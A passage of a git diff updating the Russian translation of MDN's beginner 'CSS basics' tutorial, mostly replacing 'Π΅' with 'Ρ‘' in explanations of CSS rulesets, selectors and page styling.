Ρ‚Π΅ΠΌΠ΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ сСбя.</p>
<h2 id="ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅_Ρ‚Π΅ΠΌΡ‹">ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅ Ρ‚Π΅ΠΌΡ‹:</h2>
diff --git a/files/ru/learn/getting_started_with_the_web/css_basics/index.html b/files/ru/learn/getting_started_with_the_web/css_basics/index.html
index 65a8ee1b4e..243af47b53 100644
--- a/files/ru/learn/getting_started_with_the_web/css_basics/index.html
+++ b/files/ru/learn/getting_started_with_the_web/css_basics/index.html
@@ -18,12 +18,12 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics
<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web")}}</div>
<div class="summary">
-<p>CSS (Cascading Style Sheets) β€” это ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ для стилизации вашСй Π²Π΅Π±-страницы.Β <em>ΠžΡΠ½ΠΎΠ²Ρ‹ CSS</em> ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ для Π½Π°Ρ‡Π°Π»Π° Ρ€Π°Π±ΠΎΡ‚Ρ‹. ΠœΡ‹ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΠΌ Π½Π° Ρ‚Π°ΠΊΠΈΠ΅ вопросы ΠΊΠ°ΠΊ: ΠšΠ°ΠΊΒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΌΠΎΠΉ тСкст Ρ‡Π΅Ρ€Π½Ρ‹ΠΌ ΠΈΠ»ΠΈ красным? Как ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹Β ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ появлялся Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ мСстС Π½Π° экранС? Как ΡƒΠΊΡ€Π°ΡΠΈΡ‚ΡŒ мою Π²Π΅Π±-страницу с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ Ρ†Π²Π΅Ρ‚ΠΎΠ²?</p>
+<p>CSS (Cascading Style Sheets) β€” это ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ для стилизации вашСй Π²Π΅Π±-страницы.Β <em>ΠžΡΠ½ΠΎΠ²Ρ‹ CSS</em> ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ для Π½Π°Ρ‡Π°Π»Π° Ρ€Π°Π±ΠΎΡ‚Ρ‹. ΠœΡ‹ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΠΌ Π½Π° Ρ‚Π°ΠΊΠΈΠ΅ вопросы ΠΊΠ°ΠΊ: ΠšΠ°ΠΊΒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΌΠΎΠΉ тСкст Ρ‡Π΅Ρ€Π½Ρ‹ΠΌ ΠΈΠ»ΠΈ красным? Как ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹Β ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ появлялся Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ мСстС Π½Π° экранС? Как ΡƒΠΊΡ€Π°ΡΠΈΡ‚ΡŒ мою Π²Π΅Π±-страницу с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ Ρ†Π²Π΅Ρ‚ΠΎΠ²?</p>
</div>
<h2 id="Π’Π°ΠΊ_Ρ‡Ρ‚ΠΎ_ΠΆΠ΅_Ρ‚Π°ΠΊΠΎΠ΅_CSS">Π’Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΆΠ΅ Ρ‚Π°ΠΊΠΎΠ΅ CSS?Β </h2>
-<p>Как ΠΈ HTML, CSS Π½Π° самом Π΄Π΅Π»Π΅ Π½Π΅ являСтся языком программирования. Π­Ρ‚ΠΎ Π½Π΅ язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ - это <em>язык Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй.Β </em>Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ позволяСт ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ стили Π²Ρ‹Π±ΠΎΡ€ΠΎΡ‡Π½ΠΎ ΠΊ элСмСнтам Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… HTML. НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ <strong>всС</strong> элСмСнты Π°Π±Π·Π°Ρ†Π° Π½Π° HTML страницС ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΒ Ρ‚Π΅ΠΊΡΡ‚ Π²Π½ΡƒΡ‚Ρ€ΠΈ них с Ρ‡Π΅Ρ€Π½ΠΎΠ³ΠΎ на красный, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ этот CSS:</p>
+<p>Как ΠΈ HTML, CSS Π½Π° самом Π΄Π΅Π»Π΅ Π½Π΅ являСтся языком программирования. Π­Ρ‚ΠΎ Π½Π΅ язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ - это <em>язык Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй.Β </em>Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ позволяСт ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ стили Π²Ρ‹Π±ΠΎΡ€ΠΎΡ‡Π½ΠΎ ΠΊ элСмСнтам Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… HTML. НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ <strong>всС</strong> элСмСнты Π°Π±Π·Π°Ρ†Π° Π½Π° HTML страницС ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΒ Ρ‚Π΅ΠΊΡΡ‚ Π²Π½ΡƒΡ‚Ρ€ΠΈ них с Ρ‡Ρ‘Ρ€Π½ΠΎΠ³ΠΎ на красный, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ этот CSS:</p>
<pre class="notranslate"><code>p {
color: red;
@@ -57,7 +57,7 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics
<dt>ОбъявлСниС (Declaration)</dt>
<dd>ЕдинствСнноС ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>color: red;</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊΠΈΠ΅ ΠΈΠ· <strong>свойств</strong> элСмСнта Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</dd>
<dt>Бвойства (Properties)</dt>
- <dd>Бпособы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉΒ HTML элСмСнт (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС,Β <code>color</code> являСтся свойством для элСмСнтов {{htmlelement("p")}}). Π’ CSS Π²Ρ‹ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊΠΈΠ΅ свойства Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚ΡŒ Π² вашСм ΠΏΡ€Π°Π²ΠΈΠ»Π΅.</dd>
+ <dd>Бпособы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉΒ HTML элСмСнт (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС,Β <code>color</code> являСтся свойством для элСмСнтов {{htmlelement("p")}}). Π’ CSS Π²Ρ‹ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊΠΈΠ΅ свойства Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚ΡŒ Π² вашСм ΠΏΡ€Π°Π²ΠΈΠ»Π΅.</dd>
<dt>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства (Property value)</dt>
<dd>Π‘ΠΏΡ€Π°Π²Π° ΠΎΡ‚ свойства, послС двоСточия, Ρƒ нас Π΅ΡΡ‚ΡŒΒ <strong>Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства</strong>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅Β Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚Β ΠΎΠ΄Π½ΠΎ ΠΈΠ· мноТСства Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… ΠΏΡ€ΠΈΠ·Π½Π°ΠΊΠΎΠ² для Π΄Π°Π½Π½ΠΎΠ³ΠΎ свойства (сущСствуСт мноТСство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉΒ <code>color</code>, ΠΏΠΎΠΌΠΈΠΌΠΎ <code>red</code>).</dd>
</dl>
@@ -65,7 +65,7 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics
<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π°Β Π²Π°ΠΆΠ½Ρ‹Π΅ части синтаксиса:</p>
<ul>
- <li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ» (ΠΊΡ€ΠΎΠΌΠ΅ сСлСктора) Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ Π² Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки (<code>{}</code>).</li>
+ <li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ» (ΠΊΡ€ΠΎΠΌΠ΅ сСлСктора) Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚ Π² Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки (<code>{}</code>).</li>
<li>Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ объявлСнии Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ (<code>:</code>), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚Π΄Π΅Π»ΠΈΡ‚ΡŒ свойство ΠΎΡ‚ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ.</li>
<li>Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π½Π°Π±ΠΎΡ€Π΅ ΠΏΡ€Π°Π²ΠΈΠ» Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‡ΠΊΡƒ с запятой (<code>;</code>), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ объявлСниС ΠΎΡ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ.</li>
</ul>
@@ -80,7 +80,7 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics
<h3 id="Π’Ρ‹Π±ΠΎΡ€_Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ…_элСмСнтов">Π’Ρ‹Π±ΠΎΡ€ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… элСмСнтов</h3>
-<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ нСсколько элСмСнтов Ρ€Π°Π·Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΅Π΄ΠΈΠ½Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ» для всСх ΠΈΠ· Π½ΠΈΡ…. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ нСсколько сСлСкторов, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятыми. НапримСр:</p>
+<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ нСсколько элСмСнтов Ρ€Π°Π·Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΅Π΄ΠΈΠ½Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ» для всСх ΠΈΠ· Π½ΠΈΡ…. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ нСсколько сСлСкторов, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятыми. НапримСр:</p>
<pre class="brush: css notranslate">p,li,h1 {
color: red;
@@ -88,7 +88,7 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics
<h3 id="Π Π°Π·Π½Ρ‹Π΅_Ρ‚ΠΈΠΏΡ‹_сСлСкторов">Π Π°Π·Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ сСлСкторов</h3>
-<p>БущСствуСт мноТСство Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² сСлСктора. Π’Ρ‹ΡˆΠ΅ ΠΌΡ‹ рассматривали Ρ‚ΠΎΠ»ΡŒΠΊΠΎ <strong>сСлСктор элСмСнтов</strong>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ всС элСмСнты ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° Π² HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. Но ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π²Ρ‹Π±ΠΎΡ€ Π±ΠΎΠ»Π΅Π΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌ. Π’ΠΎΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных Ρ‚ΠΈΠΏΠΎΠ² сСлСкторов:</p>
+<p>БущСствуСт мноТСство Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² сСлСктора. Π’Ρ‹ΡˆΠ΅ ΠΌΡ‹ рассматривали Ρ‚ΠΎΠ»ΡŒΠΊΠΎ <strong>сСлСктор элСмСнтов</strong>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ всС элСмСнты ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° Π² HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. Но ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π²Ρ‹Π±ΠΎΡ€ Π±ΠΎΠ»Π΅Π΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌ. Π’ΠΎΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых Ρ‚ΠΈΠΏΠΎΠ² сСлСкторов:</p>
<table class="standard-table">
<thead>
@@ -125,14 +125,14 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics
</tr>
<tr>
<td>Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€ псСвдокласса</td>
- <td>Π£ΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ элСмСнт(Ρ‹), Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² случаС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ состояния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΠΈ Π½Π°Π²Π΅Π΄Π΅Π½ΠΈΠΈ курсора.</td>
+ <td>Π£ΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ элСмСнт(Ρ‹), Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² случаС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ состояния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΠΈ Π½Π°Π²Π΅Π΄Π΅Π½ΠΈΠΈ курсора.</td>
<td><code>a:hover</code><br>
- Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ <code>&lt;a&gt;</code>, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΌΡ‹ΡˆΠΈ Π½Π°Π²Π΅Π΄Π΅Π½ Π½Π° ссылку.</td>
+ Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ <code>&lt;a&gt;</code>, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΌΡ‹ΡˆΠΈ Π½Π°Π²Π΅Π΄Ρ‘Π½ Π½Π° ссылку.</td>
</tr>
</tbody>
</table>
-<p>БущСствуСт Π΅Ρ‰Π΅Β ΠΌΠ½ΠΎΠ³ΠΎ сСлСкторов для изучСния, ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹ΠΉ список Π² нашСм <a href="/ru/docs/Web/Guide/CSS/Getting_started/Selectors">РуководствС сСлСкторов</a>.</p>
+<p>БущСствуСт Π΅Ρ‰Ρ‘Β ΠΌΠ½ΠΎΠ³ΠΎ сСлСкторов для изучСния, ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹ΠΉ список Π² нашСм <a href="/ru/docs/Web/Guide/CSS/Getting_started/Selectors">РуководствС сСлСкторов</a>.</p>
<h2 id="Π¨Ρ€ΠΈΡ„Ρ‚Ρ‹_ΠΈ_тСкст">Π¨Ρ€ΠΈΡ„Ρ‚Ρ‹ ΠΈ тСкст</h2>
@@ -198,7 +198,7 @@ p, li {
<li><code>display</code>: устанавливаСт Ρ€Π΅ΠΆΠΈΠΌ отобраТСния элСмСнта (ΠΏΠΎΠΊΠ° Ρ‡Ρ‚ΠΎ Π½Π΅ Π²ΠΎΠ»Π½ΡƒΠΉΡ‚Π΅ΡΡŒ ΠΎΠ± этом)</li>
</ul>
-<p>Π˜Ρ‚Π°ΠΊ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ большС CSS Π½Π° нашСй страницС! ΠŸΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°ΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ эти Π½ΠΎΠ²Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π°, располоТСнныС Π² Π½ΠΈΠΆΠ½Π΅ΠΉ части страницы, ΠΈ Π½Π΅ Π±ΠΎΠΉΡ‚Π΅ΡΡŒ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚.</p>
+<p>Π˜Ρ‚Π°ΠΊ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Ρ‘ΠΌ ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ большС CSS Π½Π° нашСй страницС! ΠŸΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°ΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ эти Π½ΠΎΠ²Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π°, располоТСнныС Π² Π½ΠΈΠΆΠ½Π΅ΠΉ части страницы, ΠΈ Π½Π΅ Π±ΠΎΠΉΡ‚Π΅ΡΡŒ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚.</p>
<h3 id="ИзмСнСниС_Ρ†Π²Π΅Ρ‚Π°_страницы">ИзмСнСниС Ρ†Π²Π΅Ρ‚Π° страницы</h3>
@@ -218,14 +218,14 @@ p, li {
border: 5px solid black;
}</pre>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ для {{htmlelement("body")}} элСмСнта. Π—Π΄Π΅ΡΡŒ Π΅ΡΡ‚ΡŒ Π½Π΅ΠΌΠ°Π»ΠΎ Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ†ΠΈΠΉ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠΉΠ΄Π΅ΠΌ Ρ‡Π΅Ρ€Π΅Π· Π½ΠΈΡ… всСх ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ:</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ для {{htmlelement("body")}} элСмСнта. Π—Π΄Π΅ΡΡŒ Π΅ΡΡ‚ΡŒ Π½Π΅ΠΌΠ°Π»ΠΎ Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ†ΠΈΠΉ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠΉΠ΄Ρ‘ΠΌ Ρ‡Π΅Ρ€Π΅Π· Π½ΠΈΡ… всСх ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ:</p>
<ul>
<li><code>width: 600px;</code> β€” заставляСт Ρ‚Π΅Π»ΠΎ Π±Ρ‹Ρ‚ΡŒ всСгда 600 пиксСлСй Π² ΡˆΠΈΡ€ΠΈΠ½Ρƒ.</li>
<li><code>margin: 0 auto;</code> β€” ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ устанавливаСтС Π΄Π²Π° значСния для Ρ‚Π°ΠΊΠΈΡ… свойств ΠΊΠ°ΠΊ <code>margin</code> ΠΈΠ»ΠΈ <code>padding</code>, ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ элСмСнта влияСт Π½Π° Π²Π΅Ρ€Ρ…Π½ΡŽΡŽ <strong>ΠΈ</strong> ниТнюю сторону (Π΄Π΅Π»Π°Π΅Ρ‚ ΠΈΡ… <code>0</code> Π² Π΄Π°Π½Π½ΠΎΠΌ случаС), ΠΈ Π²Ρ‚ΠΎΡ€ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° Π»Π΅Π²ΡƒΡŽΒ <strong>ΠΈ</strong> ΠΏΡ€Π°Π²ΡƒΡŽ сторону (здСсь, <code>auto</code> являСтся особым Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄Π΅Π»ΠΈΡ‚ доступноС пространство ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ ΠΏΠΎΡ€ΠΎΠ²Π½Ρƒ слСва ΠΈ справа). Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½, Ρ‚Ρ€ΠΈ ΠΈΠ»ΠΈ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ значСния, ΠΊΠ°ΠΊ описано <a href="https://developer.mozilla.org/ru/docs/Web/CSS/margin#Values">здСсь</a>.</li>
